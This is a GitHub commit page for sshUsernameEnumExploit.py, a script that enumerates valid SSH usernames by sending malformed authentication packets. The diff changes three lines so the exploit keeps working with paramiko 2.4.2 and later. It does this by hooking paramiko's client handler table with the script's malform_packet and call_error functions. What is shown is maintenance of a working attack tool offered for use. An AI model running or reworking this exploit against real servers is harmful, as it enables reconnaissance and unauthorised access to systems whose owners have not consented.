Skip to content

Commit

Permalink
1 FIX Rhynorater#15: In paramiko since 2.4.2 _handler_table is proper…
Browse files Browse the repository at this point in the history
…ty object, used _client_handler_table instead.
  • Loading branch information
Krutey Fedor // Eltex VoIP lab committed Dec 28, 2018
1 parent ae8cb41 commit 93607da
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions sshUsernameEnumExploit.py
Expand Up @@ -30,7 +30,7 @@
from random import randint as rand
from random import choice as choice
# store function we will overwrite to malform the packet
old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
old_parse_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT]

# list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target
# with these 3 random usernames (there is an almost 0 possibility that they can be real ones)
Expand Down Expand Up @@ -121,8 +121,8 @@ def exportList(results):
return final

# assign functions to respective handlers
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error

# get rid of paramiko logging
logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
Expand Down

0 comments on commit 93607da

Please sign in to comment.